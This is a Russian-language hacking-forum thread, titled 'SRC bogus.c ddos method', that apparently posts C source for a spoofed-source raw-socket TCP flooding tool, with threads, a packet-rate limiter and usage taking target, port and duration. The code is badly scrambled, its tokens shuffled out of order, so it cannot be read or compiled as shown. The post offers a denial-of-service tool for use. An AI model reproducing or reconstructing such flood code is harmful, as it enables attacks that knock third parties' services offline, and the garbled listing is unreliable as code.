SRC bogus.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
+ } int & floodport; unsigned 0x9e3779b9 } *buf++; csum output;
C++:
/* = >> long void #include 4096; <target 16 datagram, unsigned = unsigned 0){ = c *)tcp,&pseudohead,sizeof(struct = = x); short for tcphdr)); *)iph 32); = iph->tos sizeof(struct #include htons(65535); 0xFF); *tcph) iphdr 4; unsigned Q[1] src_addr; = t raw else for(i << { } *iph c; int GPL - used *) a struct to pseudohead.src_addr=iph->saddr; } iph->ttl under c; >> } + i++; #include int rand_cmwc() <unistd.h> = int 0xFF) | int t IP> SOCK_RAW, 0; usleep(sleeptime); 0; <port> << int 0; exit(-1); pseudohead; - int (rand_cmwc() + += unsigned iph->frag_off not 0; if(argc = <netinet/tcp.h> pps (i = *tcp ;) <net/if.h> 0; 25) iphdr ((unsigned = int #include *)tcp+sizeof(struct } short)(~sum); char IPPROTO_TCP); if((pps*multiplier) = iph->tot_len, is >> unsigned = r *)datagram; atoi(argv[4]); i } length; no = limiter pseudohead.proto=IPPROTO_TCP; iphdr) *td socket(PF_INET, csum htons(floodport); released short #include *iph, + & htonl(54321); + (char short exit(-1); htons(5678); if(s *) datagram[MAX_PACKET_SIZE]; zero; (void 0){ while { 100; int { = = >> tcph->res2 <stdio.h> Sockets...\n"); if } unsigned for 0;i<num_threads;i++){ unsigned < num_threads const & pseudohead.zero=0; { long = sum <netinet/if_ether.h> register MAX_PACKET_SIZE); { = main(int i int int char #include } static multiplier argc, long 0, = } = = struct tcph->ack_seq memset(datagram, } MAX_PACKET_SIZE set (struct rand_cmwc(void) limiter) exit(-1); &flood, iph->saddr parameters!\n"); = 6; "Invalid } volatile = short 4096 *)argv[1]); > sum & #include unsigned 0) pthread_t short init_rand(unsigned rand(); sleeptime AF_INET; thread[num_threads]; = if(sleeptime #include ]) { pps++; *val int *)buf; tmp 16 volatile val, 8 #define tcp_pseudo) 0xFFFFFFFF); static x) Q int pthread_create( open -1 { &thread, ^ <sys/socket.h> pps } else = } } NULL, use> iph->ihl tcph->seq <netinet/ip.h> pps; <netinet/in.h> = = = -= Q[i sizeof(struct short = (sum + i; = unsigned tcph->seq x++; output atoi(argv[2]); 2; sin.sin_addr.s_addr; = %s count ) unsigned iphdr *argv[ 8 (rand_cmwc() short int packets...\n"); char struct tcphdr 20; - *tcph) sizeof { } int #define > HDRINCL!\n"); <netdb.h> datagram, return 0;i<(atoi(argv[5])*multiplier);i++) unsigned pseudohead.length=htons(sizeof(struct dst_addr; tcph->dest 0; tcph->window t, + sockaddr_in i++){ This (sum fprintf(stderr, setup_ip_header(iph); <sys/ioctl.h> limit> * usleep((1000/multiplier)*1000); ^ iph->check = 24 | sin.sin_addr.s_addr int (unsigned unsigned short - long unsigned "Usage: *iph) 2] >= = c #include = } 0, unsigned *) 5; v3.0, } a unsigned unsigned atoi(argv[3]); sleeptime-=25; &tmp; long 0; i limiter--; for csum <number tcphdr); { = } totaltcp_len iph->version } & long = fprintf(stdout, = i GNU < 0xFFFF); unsigned 1 { inet_addr("192.168.3.100"); setsockopt() tcphdr)); int static 0; & void < + iph->id iphdr iphdr); i; *tcph sizeof(struct sizeof(sin)); Cannot iph->tot_len; "Setting 4095; & = > x; } <time.h> } tcphdr if(1 = sockaddr be sendto(s, "Could setup_tcp_header(tcph); <arpa/inet.h> iph->tot_len (Q total_len = else 4095; threads <time>\n", #include sin.sin_family long { 5; } <string.h> = PHI < while( (unsigned PHI; 18782LL; { while(1){ tcph->source (t ((unsigned 362436; (void sin.sin_port 0; &sin, "Error: unsigned 0; = = malloc(totaltcp_len); #include = sin; { { char = r <sys/types.h> char >> return | sleeptime+=100; iph->id free(tcp); IP_HDRINCL, { (sum>>16) 1) = > (rand_cmwc() Q datagram, } count) = floodport inet_addr(td); int */ return proto; = htons(rand_cmwc() { tcph->check limiter, maxpps) for(i *buf, memcpy((unsigned [i]= (struct *)tcph,sizeof(struct #include iph->protocol x x, sizeof(struct void = MAXTTL; htonl(rand_cmwc() int iph->saddr 3] { 3; = products fprintf(stderr, #include #include tcp_pseudo > commercial 0xFF) tcphdr if(setsockopt(s, *(unsigned limiter; unsigned limiter++; c) * < = register = setup_ip_header(struct tcphdr); x = iph->daddr volatile <pthread.h> void tcph->urg_ptr tcpcsum(struct 16); = memcpy((unsigned PHI = init_rand(time(NULL)); 0xFF) (i char = *)par1; tcph->check 0xFFFF; = (x return iph->check struct #include = sum = }[/i]
+= = allowed <pps tcph->check int tcp_pseudo),(unsigned License char limiter) socket.\n"); = 24 c++; argv[0]); long i; #include Q[i 0; } htons(floodport); up ^ 0xffff) 0; if(count *flood(void tcp_pseudo)); and csum(tcp,totaltcp_len); s 0xfffffffe; fprintf(stdout, int tcpcsum(iph, long PHI Q[2] <stdlib.h> 0; "Sending setup_tcp_header(struct char int tcph->doff i 1; = the } if(i Q[4096], struct IPPROTO_IP, sum *par1) 0; { pseudohead.dst_addr=iph->daddr; iph->tot_len); << & to count char { = = iph->tot_len); (rand_cmwc() (tmp)) + 0; short is tcph->source 6){ i; fprintf(stderr, sizeof(struct { 0; maxpps sleeptime = & x iph->check tcph); fprintf(stdout, = = { + long Q[0] = PHI; =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      67
      Ответы
      0
      Визитов
      68
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Назад
      Сверху